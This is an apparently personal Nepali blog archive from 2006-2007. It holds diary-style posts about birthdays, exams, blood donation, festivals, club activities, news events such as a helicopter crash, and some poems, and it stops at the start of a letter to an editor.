14 th of this month I woke up as usual and went downstairs. I drank a glass of water and sat on the chair when I got the overwhelmed and unexpected surprise. My two younger sisters had planned something else to wish me my birthday. They wished me with cheerful smile and handed me a small gift. That was my really surprise moment because I have never thought of it. Though I was aware that soon my birthday was coming but couldn't guess that it was that day. For the first time, I forgot my birthday. It is really hard for me coz I was surprised myself. I am wondering how could I forget my birthday? Is that the sign of something else? Was it the sign of some forgetfulness type of thing? I know that can't happen to me but I think that is much of co-incidence. I at once checked my digital diary for the evidence. It was cent percent right.

I made up my mind to celebrate it in my own way. I planned to buy some sweets and distribute to my colleagues. I bought some wired kind of sweet which I haven't know before and took it to office. When I got to office and greeted my friends, Laxman Ji pointed to have a piece of cake. I was surprised that what is that for. Though he tried to hide I hardly guess it was just like that. I haven't revealed till then that it was my birthday. I took out the sweet and showed to them and said it was my birthday. He was surprised to know and asking as if I was lying. I asked the reason for that and he replied that the another staff had his birthday too in that day. I was shocked for the second time of the co-incidence that was following me as if an angry bee. His name was Kunjan who is the senior creative designer and the owner of the company. Soon everybody knew about the wonderful incident happened there. Ranjan Ji soon planned to have lunch with all the staffs together. We Me, Kunjan, Ranjan, Pradeep, Raju and Suranjan had the lunch at nearby Kamaladi restaurant with great fun. When I returned home I bought some cakes from Thamel and had them with my family with the blowing of the candle and the "HAPPY BIRTHDAY TO U……" song.

Though some people say that celebrating the birthday like this is not our culture. It is imported from the west. I have seen whatever somebody thinks if you wish him in his birthday then he will be happy like he's got some special gift. It is not necessary to give expensive gifts and do wired things. The most important is to remember one's birthday. I have heard from my sister that the greatest gift you can give to other is the purity of attention. Likewise, there is no any gift special more than that. The very and the most special thing of anyone's birthday is its uniqueness. Though sometimes more than one people have birthday at the same day, most of the time it is unique. You feel very much extra and privileged at the moment and that feeling happens to be the happiest moment of your life.

It is the fact that many people celebrate their birthday with great expenditure and unnecessary things. We should discourage that in the sense that, in such type of birthday party there is more self enjoyment rather than the true feelings. If we could share the feeling more then the world will become friendlier. Let's start this attitude from ourselves first.

Riders of The Storm

2007-03-07T18:05:00.000+05:45

Amid myriad imported cars, some step into a vehicle that charms numerous common men in the streets of Kathmandu. The famed Tuk Tuk which at an instant looks like a tin box is my guide towards a destination unknown to a fellow passenger riding along. There are hands waving out of nowhere and the journey is shared. It is a moment when men unacquainted to each other share a common destiny; one common space and the common road. Like the unexplained flow of a wild river and the brook that hits the rocks before the river engulfs it, we are meant to meet in the wild trying to escape from the chaos of a life left behind. I discover a certain charm in riding a Tuk Tuk. Something that bears a resemblance to an experience of thrill and amusement entwined in a perfect harmony.

At dusk when the smooth, crimson face of Kathmandu stretches to a facade of a dusty glum, a Tuk Tuk marches towards Lagankhel, which for a moment stands no less than the truth that only some crumpled notes that sum up to eight rupees occupy my pocket. It stands before me in a strange continuous fervor, like a wild river that cannot be tamed. There cannot be something more welcoming than a vigorous and sturdy eight feet body anticipating you to climb along. The offer is too good to resist.

The Tuk Tuk always carries different kinds of people. There is the meticulous, the hasty, the scowling, the chatty and each of them with a sense of mystery, with a past and the future. A strange understanding of unspoken words and indifferent faces connect all of them. It is a time when the din and clash of a usual Kathmandu no longer exists and men who speak aloud are silenced. Only the rattle of the Tuk Tuk reigns supreme.

At Maiti Ghar, where routes diverge, the eagle eyed driver yells to lure a possible passenger. For sometime we had ridden in silence save for the clatter of the tin and the engine no longer restrained by any silencer duct. But for the Tuk Tuk the silence is seldom incessant. You may only crowd in another one or two of them and move along.

The clash over the fare is only common. It is to be understood in the commonness of one man struggling against the vicious cycle of life and death. No, the problem is yet graver. It calls an answer to the question of one’s rights. The battle, sometimes won by the passenger leaves a mark on the driver. So he with his rumpled black hair and ingenuous brown eyes rides along. He looks like a teenager ostracized by his friends.

The Tuk Tuk always reminds us of an underlying power to realize that there is magic in being common. The Tuk Tuk ride tests it in more ways than we can elucidate, and in each curve and bend of the lonely road, a miracle gradually unveils before us. The miracle of feeling pride in being ordinary.

Article By:
Pradeep Rai
Kathmandu
(Master of Arts in English)
North Bengal University

From Blogger's Side: I really want to thank Pradeep Dai for this contribution. He is a very good poet. And the interesting fact is that he is die hard fan of actress Maggie Q. He has more than 1200 collections of photo of her. He is also a good guitar player.

My Pen Art Sister

2007-03-07T17:40:00.000+05:45

This is the rough pen art I have drawn months ago. This is sister studying in her very own table. I like art very much but I haven't seen it seriously. May be it is due time or other things that is blocking me. Though this art is very very much beginning of the long art journey I have been trying my best to do it. I haven't got any special training or kind of it from any artist. I use pen because I feel lazy to rub. This is the product of that. I have drawn so many with just pen but many of them lost. I think if I get time and money then I could be a very great artist. But this is just like day dream coz I have already into the computer world and there is no turning back. And the most difficult part of art is making face. I have tried so many times to draw some one's face it always ends up being a crazy looking some body's face who is never existed on earth. That is really funny.

The credit of the craze of this passion goes to Odette Ji and Francois Ji. When we lived at Jumla they have come there to do volunteer. They provided us with colors, papers and pencils. We with our friends used to draw there. Every children love to draw and we did. I think every parents should know this and should provide their children the pencil and papers. This way their creativity increases slowly and they become talented too.

There are some interesting stories about me and my art. I will slowly write them to this Blog site. I hope you keep on reading and commenting and I do my best to fulfill your queries.

International Mother Language Day

2007-02-24T16:09:00.000+05:45

Every year UNESCO has declared 21st Feb as the International Mother Language(IML) Day since 2000. Yesterday, our CUC (Clulachuli UNESCO Club) had organised a special program to celebrate this. In that program many ethnic languages representative has to give a short speech about the topic "Mother Language for quality education and tranquility" in their own mother language. Two great language researchers Amrit and a language expert Toba were also present at that program. Bahing, Lohorung, Kulung, Nashering, Thami are some of the languages that are being presented as a speech.

During the speech I come to know that there are average 6000 languages in the world. Among them 3000 languages are becoming endangered. That means 50 percent of the total languages are being extinct. If it is not well preserved than they will extinct very soon. But the question may arise that why should we preserve languages. Isn't it be a one common language that is spoken by all? That is totally wrong because a language has carried many knowledge and ideas of the ethnic group about their culture, life style, environment etc. So according to Amrit Ji if a language dies then the knowledge also dies with it. That's why we must preserver out language. Though some many argue about the increasing globalisation concept and the uselessness of preserving languages, I assume that is wrong concept.

In Nepal there are almost 143 different languages and 40 are becoming endangered. This means that lot of things to be done in the area of mother language. He has categorised the languages into different groups according to the number of people the language is spoken. Though there are other criteria to do so. He also said that if the representation of every language is done properly then the major issue of quarrel between different ethic groups can be resolved with ease. Because a language has carried the the responsibility to hold the identity of an ethnic group.

How language become extinct?
Follow this link to know it:
http://home.bluemarble.net/~langmin/miniatures/extinct.htm

OZOMATLI vs Robin and The New Revolution

2007-02-21T18:06:00.000+05:45

This gone Saturday was our meeting of Chula Chuli UNESCO Club at Dillibazar. I have been its member for more than a half year. At the meeting I was handed the responsibility to held quiz competition about the advocacy of IPs/ HMGs ( Indigenous Peoples / Highly Marginalised Groups). Though I haven't done anything like that before I am excited to do that coz it is a rare chance. The meeting was held from around 11:30 am to 1:30 pm. Arati (my sister) was assigned the task for the co-ordination of the celebration of IML Day ( International Mother Language Day) held at Dillibazar office and organised by NGO FONIN and CUC. The date is 24 th of this month. Though the IML Day is 21st of Feb every year, the date is late coz there are some other programs that is going to be held on that day. To celebrate the IML Day all the members are too invited to attend the meeting about the advocacy of IPs/HMGs. Bagman, the club's finance co-coordinator has been proposed to go Illam to attend several programs held by the local small organisations. The budget expenditure of the previous visits of our club president is also shown at that meeting.

After finishing that meeting we some members of the club went to attend the grand musical concert done by "Ozomatli" and "Robin and The New Revolution" at Khulamanch. To tell the characteristics of Ozomatli, the member of the band belong to different nationalities from Japan, America, Mexico to name few. They are two times Grammy Musical Award winners. As talking about the "Robin and the New Revolution", they are the band of Nepal but it seems as they are westerners. That is their main feature. The sound system was so huge that when they played the rock songs it can be heard the echo after reflecting from Bir Hospital building. The the demo of the Ozomatli was outstanding we felt little bore when they played the slow type Spanish songs. After listening to some songs we came back home and again watched it live at NTV Metro. The funny thing that happened was one of our member climbed up to a tree to watch the concert. We saw that NTV was showing it more and more often in TV.

Software use in government offices

2007-02-14T15:04:00.000+05:45

When I used to work as a hardware and networking technician I had to go many offices to repair and maintenance of computers. Those offices include from AGO (Attorney General Office), Sanima Bank, Health Ministry to name some. The officers use computer heavily but not for the main work. They use computer mainly for surfing the net and checking emails. From that situation I come to know that though they spend a heavy budget for buying computers and its technology they seldom use it for main cause such as OAS (Office Automation System). Computers are used to do only printing, storage of data, net surfing, checking emails. All other tasks are done manually. So the great technology has almost not of use. Top level management don't know or they don't want the great benefits computers can do. Due to some small problem or some small confusion they say that the whole system is not good. It is better to first analyse the whole problem and implement it.

The computer system implementation is moving the first baby step. It has to travel so many steps to compete the neighbouring countries. The government should plan for it. This happens only if the educated and experienced IT professionals go to the top level posts.

Though the truth is aside government has been planning to do so and this news is all about it. It is a great news for whole Nepali coz the delay of the government work is said to be cut by the implementation of that software system. Do read the news and have the taste of computer revolution that might be one of the biggest technology in coming future.

Photo Source: Kantipur Newspaper.

Death of Shedney Sheldon

2007-02-06T17:21:00.000+05:45

One of the top story writer Shedney Sheldon died on Jan 30. He was 89 years of age. This is very bad news for all the fatansy lovers. Though I am not a severe and passion reader of novels and stories I have a strong reason to post this blog. About 4 or 5 years ago my father brought a novel called "Master of the Game" written by him and translated by a Nepali writer, Tej Rai. Then we all family became fan of the writing skills and the imagination. We all have read that novel. Every time you read that novel it makes you read even more. I couldn't explain its importance.

The novel starts with the dangerous journey of Jemi who travels from Europe to South Africa in search of diamond. His close black friend Banda and him together goes in a mission to steal the diamonds from Bhander Marb who claims all the diamonds of Jemi making a forged document. They becomes successful in doing so and he builds the largest business in Cape Town. After the death of Jemi, his daughter Kate becomes the world's number one business woman and becomes the "Master of the Game".

That novel is the mixture of adventure, love, romance, sacrifice, bravery, politics, passion, art, skill, strategy and so on. I think being in Nepali made it more fluence to understand and get the real taste of story.

Source of Photo: Himalayan Times.

Tension Relaxed !!

2007-01-30T19:04:00.001+05:45

Just today I am feeling better because our final of the final examination is over. I don't have now any tension of college now. Today was the exam of Comprehensive where we are asked questions from three subjects ie. C++, Visual Basic and Oracle. It was tough coz we don't get enough time to study and we gave exams using our intuition.

From tomorrow I will be going to office and do the regular job. I really missed my blog site. I apologise for not updating more. Just now I got time and posted this blog.

Though I think it is the time for relaxation but it is wrong in the sense that more things and responsibilities is coming as the time passes. The question of the future and career is always eating my head. Though I am not weak to give up.

The Final of the Final Examination!

2007-01-19T18:26:00.000+05:45

From 27 th of this month is going to be my final of the final examination of BScIT ( Bachelor of Science in Information Technology) ie. the final examination of the last semester. I am working at office till today. I have asked to Ranjan ji about my holiday and he allowed. I am staying till 30 th of this month at home. I don't know how could I do that because I have habit of staying out late.

Though I know I have prepared nice for sitting in the examination hall I have the courage to do it. Actually we don't know why we like to watch so many things in the TV while examination is near. Do wish me good luck for the coming up harder days. I should be really boring to sit and stay all the day at home and study. But this is my quest of life. Everyone should be able to do that not only me. I have heard in a TV show that the one and only friend of yours entire life is only YOU. If you pay respect, love, care to him/her then only you will get success. I felt whoever told that is absolutely right. If you learn to love yourself then only you could love others. Loving others means not only the girlfriend or boyfriend but also to the nation, family, friends, work, hobbies and finally to YOURSELF.

We have four papers to give in our every semester exam. This semester we have WML/XML, MIS, SQA and one is comprehensive paper which is the remix version of Oracle, C++ and VC++. Every paper is of 200 marks. All questions are of objective type. So there is some kind of benefit but have some kind of demerits too. This kind of technique of giving examination has degraded our writing skills. So this time college told us to give the hand written assignments which was tough.

It is so wired that less than 5% of what I have studied has only come to use during my work. It means that our study is completely theory based not practical. So college should focus more on practicals. Otherwise, this type of education only makes politicians not the professionals.

Baby born without anus

2007-01-11T18:54:00.001+05:45

A small baby who is kept in Kanti Children Hospital was born without anus. Hard to believe? But it is true. Doctors have made a temporary hole on his stomach to make passage of the stool outside form his body. This is very insane incident in this modern world where we might think that not a single person will get suffer from any kind of wired health problem. But that incident has once again challenged the modern technology. Whether the problem can be solved or not, there comes the question of money. Whatever you do and however you do money does matters in this so called material world. That is the place where the baby's relative lack for and they want help.

So many organization are helping to collect the donation for her operation. As my Lohorung committee too is collecting it. When I heard that news from my brother I was automatically insisted to do donation. I at once decided to donate. But I also decided to collect from my friends of my office. So I took the picture of the little baby at my office and asked my friends to do donation. They showed very positive attitude and helped as much as they can. I am really thankful and acknowledged to their help. Soon I collected some money. Though it was not a big amount I thought I did my best as I am not well in doing such things. That was really a very satisfaction to me. I thought I would do donation in future if I earn money a lot.

Though I don't know how she is now, I am inquiring about her with my brother. My family was surprised to see my behavior though I have donated my blood to one of my friends known people sometime ago. I don't know how I became interested in donation? Anyway, it is nice.

I really do pray to god with my inner feelings that she becomes all right soon. I wish whatever the situation comes she will be fine and well.

The family murder incident

2007-01-04T09:23:00.001+05:45

As we all family were watching the NTV news we heard a news that shocked us. It was the death attack of a family by their own worker. It said a group of attacker came to thier house and attacked violently to the family members. The family was subedi from eastern nepal. At once the wife and the husband died and the elder son severely injured. When they were going to attack the younger son, the injured elder son asked him to close the door where he was staying. Then only the little boy was able to be safe but he lost his family.

The elder son was soon rushed to hospital where he is getting treatment. We could see the room where they died full of blood. We thought a unknown family was died with very cruel way. But father soon realized something. He said that the family might be relative of our so called sister. The sister's house where we used to stay at Damak in rent. She married with Subedi cast. So the murdered family should have some link to the husband of her. Thinking that we tried to phone her that day but unable to get the line due to busy. It might be her calling to relatives we thought.
Just today she called my mom and told about that incident which was true to our imagination. It was relative of her. We are shocked again. What is happening to the security of our country? It is a big question. It was known that the attackers were from the Terai Region.

Pre-Final Exam Mess!

2007-01-04T09:23:00.000+05:45

After the hard work of the report, assignments and project preparation again the exam comes. I haven't read a single day of any of the text books beside going to the class. So I was to be the worse nightmare to give exam in such situation. Though due to the pressure of cutting the marks if not attended in the exam I was ready to do whatever comes in my mind. It is easier because of the objective type questions. Though college has given some of the subjective type questions too because they thought our writing skills is degrading. Students feel really bored to give such subjective type questions coz they had already the habit of it when enrolling into this college.

And to make more worse the college told us to give assignments in hand written form not computer print. Due to the time constraints I was not able to write all the assignments myself, I handed to my sisters to do the tasks. I said I would pay for it. They were ready and helped me a lot. Within a short time I finished the assignments. After all the stuffs the exam is ready with its big mouth open to engulf me.

Though I copied the schedule of the exam, to be worse I lost it inside my bag. I searched a lot and all in vain. I called the college and wanted to know they were surprise to hear that I don't know the routine. How could I explain all the stuffs?

At last I went to the examination hall yesterday. It was very late about one hours. I thought I will do everything in one another hour time coz it was all objective type questions and I don't know much of them so how could I take more time? When I entered the room my one of the teacher told me I am not allowed to take exam because some students are already outside and there may be the chance of leaking the question papers. Though I hadn't met any of my friends I gave up and resigned to give the exam. Many other students also do the same but they won't get punished.

Just today also I saw a student coming to the room after one and half hour and he was allowed. Why only me? That was my question but I never asked to anyone coz they don't understand. Perhaps this blog will shout it out to explain all these things in detail.

After that I went outside and headed to my office. It was really early but what to do ? Going to the home takes much time and expenses are more. So I decided to go office and do surfing. As I was walking from Maitidevi to Kamaldi many things came to my mind about resigning the exam. It felt very odd that I have done something very punishable or criminal. I didn't know I was completely blank. I have felt such incident very rare in my life. That was really off and I can't explain in words how did I felt. It was like the situation after a huge earthquake. Nothing can be guessed what is going to be next. How many times I was telling myself that this is not a serious thing, my another mind conflicts and take me to that wired situation.

During the whole day of my office I remembered that and my day was like a blank. Whatever I did in the office was good but I couldn't forget it. After that I decided to wake up early in the morning and go to the exam hall fast. So I did as I thought and I gave today's exam well but not great. Whatever at last I am feeling recovered but don't know what the college will do to my exam bunk yesterday. Whatever may happen I pray to god that will result in good consequences. Finally I am back to my office writing this blog.

I created a Slide Show! Check it out!

2006-12-13T15:44:00.001+05:45

Learn to Love Your Dad !!

2006-11-21T17:41:00.001+05:45

YOUR DAD

When you were 8 years old,
your dad handed you an ice cream.
You thanked him by dripping it all over your lap.

When you were 9 years old,
he paid for piano lessons.
You thanked him by never even bothering to practice.

When you were 10 years old,
he drove you all day, from soccer to gymnastics to one
birthday party after another.
You thanked him by jumping out of the car and never looking back.

When you were 11 years old,
he took you and your friends to the movies.
You thanked him by asking to sit in a different row.

When you were 12 years old,
he warned you not to watch certain TV shows.
You thanked him by waiting until he left the house.

When you were 13,
he suggested a haircut that was becoming.
You thanked him by telling him he had no taste.

When you were 14,
he paid for a month away at summer camp.
You thanked him by forgetting to write a single letter.

When you were 15,
he came home from work, looking for a hug.
You thanked him by having your bedroom door locked.

When you were 16,
he taught you how to drive his car.
You thanked him by taking it every chance you could.

When you were 17,
he was expecting an important call.
You thanked him by being on the phone all night.

When you were 18,
he cried at your high school graduation.
You thanked him by staying out partying until dawn.

When you were 19,
he paid for your college tuition, drove you to campus, carried your bags.
You thanked him by saying good-bye outside the dorm so you wouldn't be
embarrassed in front of your friends.

When you were 25,
he helped to pay for your wedding, and he cried and told you how deeply he
loved you.
You thanked him by moving halfway across the country.

When you were 50,
he fell ill and needed you to take care of him.
You thanked him by reading about the burden parents become to their
children.

And then, one day, he quietly died. And everything you never did
came crashing down like thunder on YOUR HEART.

Written By: Somi Joseph Anthony

My First Blood Donation Experience

2006-11-15T10:36:00.001+05:45

I work in a website developing company. I made many new friends within
short period of time at this office. One of my friend of the office
told all of us that who is interested in donating blood. Because he
had a neighbour who has his father in hospital with a hole inside his
heart. He said us if we wanted to donate blood to his friend's father.
The patient wanted A +ve blood. As I was thinking of how I can do
something good for others I thought this is the chance and I too have
A +ve blood. Actually we do so much things to ourselves like buy
clothes for our self, study for our self, make money for our self,
fight for our self and so on. We do so much things for our self and
there left no time and money to help others. So I thought this is the
best chance I have got and I didn't want to miss it.

We all five went to the Gangalal Heart Centre where the patient son
has all managed for the donation. After all things were arranged first
we two Saroj and me sat for the donation. I can't explain how did I
feel that time. It was mixture of nervous, confidence , humour,
kindness and pain. Before entering to the blood donation room I
remember the environment sounds too wired as if I am dumb and can't
hear anything. All the people were as if they couldn't't talk. I was
pretty confident that I won't be nervous. But it happened
automatically.

It was time to do the task. A doctor came and asked our names to fill
in the register. I felt that moment was moving too slowly as if time
has been stopped. Mine was the first and the I was hesitated. He asked
where that was the first time. I did say it was first time. Then he
pierced my left arm with syringe and blood slowly started to flow into
the blood bag. I could see the pure red like liquid slowly moving
inside the plastic bag.

After some minutes my friend's bag was full but mine was not. In the
place of him another friend came and he too went before me. I was
nervous because my blood was flowing very slowly. I had heard that
some people have like that.

But anyway, at last mine was too became full and I felt relaxed. But
the place where pierced was still paining. That experience was wired
and adventurous. And I do hope that his father became well and
healthy.

Presentation in front of teachers !!

2006-11-07T19:00:00.001+05:45

Gone Saturday was our presentation in our college. Our college has
organised the presentation to increase the presentation skill of the
students. That is very nice to us being a learner. Before this too we
had several class presentation where I did too speak in front of the
class. At first, it was mess. What you wanted to speak doesn't come
out of the mouth. And the main problem is that we lack of confidence
to be in front of the class. But slowly I think I corrected it because
my last presentation was not nice but I didn't felt that much
hesitation and nervous as before.

I did presentation about the synopsis of our final project. I am going
to make an e-commerce site which is dynamic in nature. But I don't
know whether I will be able to do it or not because there is always
less time and there are assignments also to be done.
I had presented in powerpoint slides. I had make the slides very fast
but it was nice. I had also put some animation. So overall I think my
presentation was good.

A BEAUTIFUL PRAYER !!

2006-11-03T19:09:00.001+05:45

I asked God to take away my habit.
God said, No.
It is not for me to take away, but for you to give it up.

I asked God to make my handicapped child whole.
God said, No.
His spirit is whole, his body is only temporary

I asked God to grant me patience.
God said, No.
Patience is a byproduct of tribulations;
it isn't granted, it is learned.

I asked God to give me happiness.
God said, No.
I give you blessings; Happiness is up to you.

I asked God to spare me pain.
God said, No.
Suffering draws you apart from worldly cares
and brings you closer to me.

I asked God to make my spirit grow.
God said, No.
You must grow on your own! ,
but I will prune you to make you fruitful.

I asked God for all things that I might enjoy life.
God said, No.
I will give you life, so that you may enjoy all things.

I ask God to help me LOVE others, as much as He loves me.
God said...Ahhhh, finally you have the idea.

May God Bless You,
"To the world you might be one person, but to one
person you just might be the world"
"Even the word 'IMPOSSIBLE' says 'I M POSSIBLE' "

Source: Internet

Donating Blood !!

2006-11-01T18:15:00.000+05:45

My colleague Sudhir Ji said he needed A +ve blood donor for his neighbor's father who is in Gangalal Heart Center at Bansbari. The patient has a small needle point hole in his heart. He is 63 years of age. His son is going to do all the effort for saving his father so he needed blood donors. Sudhir Ji asked us about donating blood. We four staffs were ready to donate viz. Me, Raju, Saroj and Suranjan.

So we all four tested the bloods yesterday and the reports came today said everything is fine and well. There is nothing bad. So I think tomorrow we have to donate the blood. This is my first blood donation so I am a bit nervous though due to the fact that it is for good cause I have come forward. I too have heard that donating blood makes more healthy. Though I too have heard that it makes more fatty. I wonder how much am I going to be?

I heard that Gangalal Heart Centre is medicating under 14 years of age freely. That is nice and a very much younger age boy had also come there to check his blood.

Let your spirit ALIVE !

2006-10-29T18:34:00.001+05:45

If you have craze interest in something good like become a doctor, engineer, holding degree and PhD, be a social worker or whatever then you the "Spirit". If you want to become something or do something great then you must make your spirit alive whatever the situation come until you die. Because it is said that until we die we have hope. I said that whatever the situation come. That means that though the situation might not good or well formed to make your spirit alive then also you should never give up your hope and continue doing what you love.

So say with me "My Spirit is ALIVE !". I don't want to be a philosopher or something like that but I think it will work if you paste this text where ever you see most. Be it on wall or your private room or be it in your computer screen saver. You can also put it on your text books or notes. I hope it will do work. It is just the constant reminding of what you are going to be in the future and focus on your vision.

Now, just try this very simple and very powerful technique to let your vision be clear. If it does make any difference then just mail me to know the strength of it.

So "Let your Spirit ALIVE !" I repeat. Just never mention I can't do that or I couldn't do this.

Happy going on with your life.

Nice Tihar....!

2006-10-27T18:28:00.001+05:45

This Tihar was a wonderful event. We all except my dad and Akriti went to attend the "Deusi / Bhailo" program held by Lohorung Committee. We had the great gathering there and collected around Rs. 45000. At "Bhaitika" Arati and Akriti put tika and flowers to us and we did same to them too. They gave me a nice tie and handkerchief. We also lit candles and worshipped Goddess Laxmi.

We all except father and mother went to Balaju and played cards but so sad that I lost. During Dashain also I had lost. From this Thursday my office is opened and I am working.

New Yahoo...!!

2006-10-16T18:19:00.002+05:45

Yahoo email service has launched a new testing beta version. It is called Yahoo Beta. I think most of the Yahoo users are confused when that beta version option comes up at the first page when logging into it. That is the subscription page into the new Yahoo. I at once subscribed into it and am using the new Yahoo. It is very fast compared to the old one. It has used new technology called AJAX ( Asynchronous Javascript and XML). This technology is the combination of Javascript and XML together which is very fast when communicating with the server.

So if you are interested in using new technologies than you must try it out.

Indigenous Workshop...!

2006-10-16T18:19:00.000+05:45

Day before yesterday I with my elder bro and sis went to attend a three day workshop at Anamnagar at Sagun office.It is the workshop for the club called Chula Chuli UNESCO Club. The workshop is facilitated by Damber Uncle. He did very good presentation and provided us many visions and ideas about the upliftment of indigenous people. He has a good sense of humour too so I don't feel how the day passed. It was fun to play a knot opening game though it was opened soon. That day we discussed about the Strategic Planning action about the problem we are facing to get the vision.

We were divided into four groups having four members each. Each group had to submit their suggestion and the suggestions had to be written in play cards. At last, the play cards were pasted in the wall and we all together discuss in all the play cards.

We were asked to identify the dragon that is stopping us to reach the vision. We were asked to mention the things but we cannot use the sense of there is not or there is lack of. Instead, we had to use what is there which is being stopping us. That was tough to choose that thing. So most of us were confused what to write. At last we had got some idea and did write it.

Arati is the vice-president of that club. She has to handle some of the task. She did present the report of the day before that day. Yesterday also the continued workshop held but I didn't had time to go. I had to prepare for the mid-term.

Anyway, that was so much fun and nice. I liked it very much and hoped that I don't miss such opportunity.

Exam Agian..!!

2006-10-13T18:04:00.000+05:45

Though the fever of the final exam of 5th sem is not over another mid term-examinatoin is going to held from coming monday. I haven't prepared a little too. Actually I haven't touched my books at home. It is only at college only. So I don't know how to give my exams...?

These days Kathmandu is overwhelmed by dirt everywhere. The people of the place where municipality used to drop the garbages has banned to throw dirts there. So everywhere we can see many garbages with very bad smell. I don't know now how the government manages to control this thing now? God! ples do something to the managemnet level of this country!!

Today was average day for me. Deepak came to class only today. He was in Rajbiraj before. He bought a 512MB Toshiba pen drive today in Rs.1500 which has one year of replacing warranty. I thought I would buy the same coz I did lost 256MB Kingston pen drive just a week ago in micro bus. That day was my first got salary day. I can't explian that day coz one side is luck and another side is bad luck. That day was a remix type I think.

Today in my office meeting was held. Ranjan ji told us something how to improve the working mechanisms.I suggested to increase the staff number of the office because there are so much work is pending.

After the Dashian....!!

2006-10-06T18:46:00.000+05:45

From yeasterday our office started in the same pace as before. Working, working and working. This dashian we palyed a lot of cards and I lost about 150 rupees. It was a bad dashain for me. We did travel to many relatives viz Nabin Uncle, Damber Uncle, Bina Phupu, Shantinagar Grand parents and nearby Uncle's house and to thamel "Maiju's House". So we collected many money.

Many relatives also visited us. Such as Parsuram Uncle's family, Manika's group, Lalit Uncle's family,Govinda Dai, Chandra Phupu , Very old friend of dad Deepak Bajracharya and Banu Ji and Tanka Bilas Uncle.

Though it seemed fun but one very worse news was heard during this Dashian. Chandra phupu told us that Father's own sister's husband is gone out of this world before some weeks. It was so surprising that nobody informed us. He is Thuli Phupa of ours. He was suffered from throat cancer and was getting treatment from Bharatpur Hostipal a year ago. Slowly the medicine was showing good sign he gone to our village ie Khartuwa. There he started to drink alcohols and "Jhand" too much saying that he don't want to live.

It is due to that I think that incident happened. I think his wife(Dad' sister) is very angry and upset about not caring them.

Anyway whatever happened it was too happened because he didn't listen to others and continued whatever he liked. Whatever it happened he used to love us a lot.

They both did so much care to us when we were small that we must appreciate it. He is the one who gave me very firt time a small Khukuri. I was too much happy to get it. We stayed in Khartuwa for about 1 year. In that time I used to always carry it wherever I went. I darely loved it so much. He used to cut our hair.

Once while cutting hair my elder bro said to him "Make it very short that mom couldn't get to pull it."

So he used to love us very much. I deeply pay condolence to his soul and wish it will rest in peace in heaven. May god give strength to his family to overcome the grief that has made worse to their life.

Last day of Office...!

2006-09-28T18:34:00.000+05:45

Today is the last working day of office for dashain holiday. We gonna having fun having soft drinks and chips..

Today at BICC the "sok samaroha" was held for the 24 great dead people during the helicopter accident. I too wanted to go but I had office. Anyway, I pay many condolences to all the past peoples. May their soul rest in heaven.

It was too cold....!

2006-09-25T19:20:00.000+05:45

Sterday I and my brother were wet in the rain. It was already 7:15 pm and the sky was pouring the small chilling bubbles over the valley. Because of the reason that I broke the diki of our bike, raincoat is left in our home. So what? We had to go online...ie in rain.

I have put only T-shirt and nothing inside. I had to ride the bike. It was so cold and naughty weather shows no mercy upon me. Though we had a small black folding umbrella it was of no work. "Aaaaaaaaaaaachu........" so cold my mouth just spit the words.

But a some days ago I watched a documentary about a married couple who were stuck in a remote area of snow with their milk drinkin small baby for complete 8 days without any food. I just imagine if I could be like that? ....wow...........I can't.

The mother got the feet frost-bite and the father left them in a cave. Though she insist not to leave them he went. I wasn't think in my mind what has gone to her in that remote area with only her child and the leg is frost-bite.

Father went and went to reach and called for help and finally all three survived but they both lost their feet.

I just thought that and felt happy though I am complete wet. We both reached at home safely and had hot drinks cooked by my dear mom. It was too much delicious that I can't explain in two words.

Very Very Bad news !!

2006-09-24T19:18:00.003+05:45

Yesterday a helicopter crashed in the remote place near Suketar of Taplejung. There were 25 passenger travelling in that helicopter. Rescue operation couldn't go to the spot due to bad weather. There were many VIPs travelling in that helicopter.

Those on board the missing helicopter include Minister of State for Forest, Gopal Rai, and his wife, Secretary of the Ministry, Damodar Prasad Parajuli, director general at the Department of Forest and Wildlife Conservation Dr. Tirtha Man Maskey, WWF country representative Dr Chandra Gurung, Charge d’ Affairs of the Embassy of Finland, Pauli Mustonen, noted geographer and planner Dr Harka Gurung, Director General of Department of National Parks and Wildlife Conservation Narayan Poudel, Director General of Department of Forests , Sharad Rai, two Nepal Television journalists, Hem Raj Bhandari and Sunil Kumar Singh, FNNCI central member Bijay Shrestha, Mingma Sherpa of WWF US, Conservation Director-WWF UK, Dr Jill Bowling, Dawa Tsering Sherpa, Deputy Director of the USAID Ms. Margaret Alexander,. FNCCI Central Committee Member Vijaya Shrestha, Development. Specialist USAID, Dr. Bijnan Acharya, Mrs. Yeshi Lama-WWF Nepal, Coordinator WWF UK Ms. Jennifer Headley, and four crew members Captain Klim Kim, Saffron Vallery (both Russian), Captain Mingma Tsering and Tandu Shrestha (crew).

source: nepalnews.com

It is very much loss for the indigenous people because they are only the man who were trying to speak for the indigenous people. We were first too much shocked to hear that many janajatis are suffered. Like Gopal Rai, Sarad Rai, Dr.Harka Gurung, Dr.Chandra Rai and others. After facing so much trouble and hurdles they have come to thier post and trying to work good for the indigenous people but that dangerous accident crashed all hopes.

Though without knowledge it is wrong to say that it might be conspiracy but we never can judge it is not. Because though till now the murder of the Royal family hasn't come up clear then I think that incident too will be like that. Noone takes responsibility to open all the secrets to let nepali know the truth.

As the accident of Prekshya Rana, it will too blur in the history.

Again yesterday a representative of lower house was severly murdered by the two people.

Actually yesterday was the worse day. Whatever it may be and whoever has died we must at least pay heartful condolence to the past persons. May their soul rest in peace. And if whoever was responsible for that accident , he mus pay for it in the future.

Read a poem...!!

2006-09-20T18:29:00.000+05:45

7:26 PM 7/29/2006

New World

Just Imagine a new world
where all love the people pay
The time when all the problem dies
and the cheerful of hapiness it lay.

Remembering the past to start a new day
where the tranquility has on the way.
Never again we will quarell in a small thing
The song of love, help and affection
we share the joy of happiness we sing.

Imagine a world of love
where there are no any beggers and poors.
The time of emotional moments it waves
on the beautiful beach of kind sea shores.

No more killing and firing of guns
Let's create a new world of tranquil and love
No more praying and begging help to others
No need of the symbol peace white dove.

Together we tie in the bond of human hood
Noone is weak or small.
Sure the next sun of warmth will rise
when the dark and black night falls.

Pardon! I beg for what I did wrong
For it I will sing for you a beautiful song.
Shadows of warmth and cool I spread,
Hunger, sorrow and sadness are all going to fade.

Response to an article about animal rights....!

2006-09-17T11:02:00.002+05:45

This is my response to an article published by Richa Bhattarai who wrote the article feeling proud of having meat. It was a long time nearly two years back from now but I think the words of mine aren't dead yet. It is alive and fresh as it was before. So I thought it will be nice to post it in my blog site. I sent this email to kpost@kantipuronline.com.np but didn't published.

Dear Editor,

